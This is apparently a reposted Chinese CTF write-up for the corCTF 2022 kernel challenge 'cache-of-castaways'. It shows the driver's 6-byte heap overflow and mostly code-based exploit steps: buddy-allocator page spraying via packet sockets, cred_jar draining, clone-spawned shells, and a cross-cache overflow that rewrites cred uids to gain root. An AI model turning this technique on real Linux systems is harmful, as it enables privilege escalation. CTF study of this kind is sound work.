本文主要是介绍26_corCTF 2022-cache-of-castaways,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
题目
#define MAX 8 * 50
#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE 512typedef struct
{char pad[OVERFLOW_SZ]; // <<<<<<<<<<<<<<<<<<char buf[];
}castaway_t;struct castaway_cache
{char buf[CHUNK_SIZE];
};static int init_castaway_driver(void){castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
}
static long castaway_add(void){castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
}
typedef struct
{int64_t idx;uint64_t size;char *buf;
}user_req_t;static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg){user_req_t req;copy_from_user(&req, (void *)arg, sizeof(req))castaway_edit(req.idx, req.size, req.buf);
}static long castaway_edit(int64_t idx, uint64_t size, char *buf){if (idx < 0 || idx >= MAX || !castaway_arr[idx]) goto edit_fail;if (size > CHUNK_SIZE || copy_from_user(temp, buf, size)) goto edit_fail;memcpy(castaway_arr[idx]->buf, temp, size); // <<<<<<<<<<<<<
}
独立 KMEM_CACHE
的6字节堆溢出
利用
int sprayfd_child[2];
int sprayfd_parent[2];int main(int argc, char **argv)
{int fd = open("/dev/castaway", O_RDONLY);if (fd < 0){perror("driver can't be opened");exit(0);}// for communicating with spraying in separate namespace via TX_RINGs// 用于父子进程通信,实际作为父子进程逻辑开关pipe(sprayfd_child);pipe(sprayfd_parent);puts("setting up spray manager in separate namespace");if (!fork()) {unshare_setup(getuid(), getgid());spray_comm_handler();}void spray_comm_handler()
{ipc_req_t req;int32_t result;do {read(sprayfd_child[0], &req, sizeof(req)); // 先阻塞,知道父进程发送消息assert(req.idx < INITIAL_PAGE_SPRAY);if (req.cmd == ALLOC_PAGE){socketfds[req.idx] = alloc_pages_via_sock(4096, 1); // 分配出 1个order 0 paeg}else if (req.cmd == FREE_PAGE){close(socketfds[req.idx]);}result = req.idx;write(sprayfd_parent[1], &result, sizeof(result));} while(req.cmd != EXIT_SPRAY);}int alloc_pages_via_sock(uint32_t size, uint32_t n)
{struct tpacket_req req;int32_t socketfd, version;socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);if (socketfd < 0){perror("bad socket");exit(-1);}version = TPACKET_V1;if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0){perror("setsockopt PACKET_VERSION failed");exit(-1);}assert(size % 4096 == 0);memset(&req, 0, sizeof(req));req.tp_block_size = size;req.tp_block_nr = n;req.tp_frame_size = 4096;req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0){perror("setsockopt PACKET_TX_RING failed");exit(-1);}return socketfd;
}
耗尽cred_jar
#define CRED_JAR_INITIAL_SPRAY 100// initial drainputs("draining cred_jar");for (int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++){pid_t result = fork();if (!result){just_wait();}if (result < 0){puts("fork limit");exit(-1);}}
耗尽order 0中的page。最好通过堆整理,从高order中,1/2分出整块的page,并将这分出的page,继续1/2的分出,持续到order 0,消耗掉。目的,是这些消耗掉的order 0是物理连续的
#define INITIAL_PAGE_SPRAY 1000void send_spray_cmd(enum spray_cmd cmd, int idx)
{ipc_req_t req;int32_t result;req.cmd = cmd;req.idx = idx;write(sprayfd_child[1], &req, sizeof(req));read(sprayfd_parent[0], &result, sizeof(result));assert(result == idx);
}// buddy allocator massageputs("massaging order 0 buddy allocations");for (int i = 0; i < INITIAL_PAGE_SPRAY; i++){send_spray_cmd(ALLOC_PAGE, i);}
将连续消耗掉的order 0 page,间隔释放出来
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2){send_spray_cmd(FREE_PAGE, i);}
将释放出的page重新用cred_jar占据
fork噪声问题
https://bsauce.github.io/2022/11/07/castaways/#2-3-fork%E5%99%AA%E5%A3%B0%E9%97%AE%E9%A2%98
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};__attribute__((naked)) void check_and_wait()
{asm("lea rax, [rootfd];" // rootfd-pipe生成的文件描述符"mov edi, dword ptr [rax];""lea rsi, [throwaway];""mov rdx, 1;""xor rax, rax;""syscall;" // read 先阻塞着,知道发送write(rootfd)"mov rax, 102;""syscall;" // getuid"cmp rax, 0;" // 如果不是root,则退出"jne finish;""mov rdi, 1;""lea rsi, [root];" "mov rdx, 5;""mov rax, 1;""syscall;" // write(1, root_str, 71)"lea rdi, [binsh];""lea rsi, [args];""xor rdx, rdx;""mov rax, 59;""syscall;" // execve("/bin/sh", args, NULL)"finish:""lea rdi, [timer];""xor rsi, rsi;""mov rax, 35;""syscall;" // nanosleep"ret;");
}// https://man7.org/linux/man-pages/man2/clone.2.html
/* for syscall, it's clone(flags, stack, ...) */
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{asm("mov r15, rsi;""xor rsi, rsi;""xor rdx, rdx;""xor r10, r10;""xor r9, r9;""mov rax, 56;""syscall;""cmp rax, 0;""jl bad_end;""jg good_end;""jmp r15;""bad_end:""neg rax;""ret;""good_end:""ret;");
}for (int i = 0; i < FORK_SPRAY; i++){pid_t result = __clone(CLONE_FLAGS, &check_and_wait);if (result < 0){perror("clone error");exit(-1);}}
释放另一半的order 0 page,期望其中一些page是与cred_jar page间隔的
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2){send_spray_cmd(FREE_PAGE, i);}
占据与cred_jar page间隔的page,堆溢出,覆盖cred_jar中cred的uid等字段
*(uint32_t*)&evil[CHUNK_SIZE-0x6] = 1;// cross cache overflowputs("spraying cross cache overflow");for (int i = 0; i < FINAL_PAGE_SPRAY; i++){alloc_vuln_page(fd, isolation_pages, i);edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);}puts("notifying forks that spray is completed");
通过clone出来的进程,检查getuid
write(rootfd[1], evil, FORK_SPRAY);sleep(100000);exit(0);
ref
https://xz.aliyun.com/t/12417
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache/
Linux内存管理 (5)slab分配器 kmem_cache_create https://www.cnblogs.com/arnoldlu/p/8215414.html
https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
这篇关于26_corCTF 2022-cache-of-castaways的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!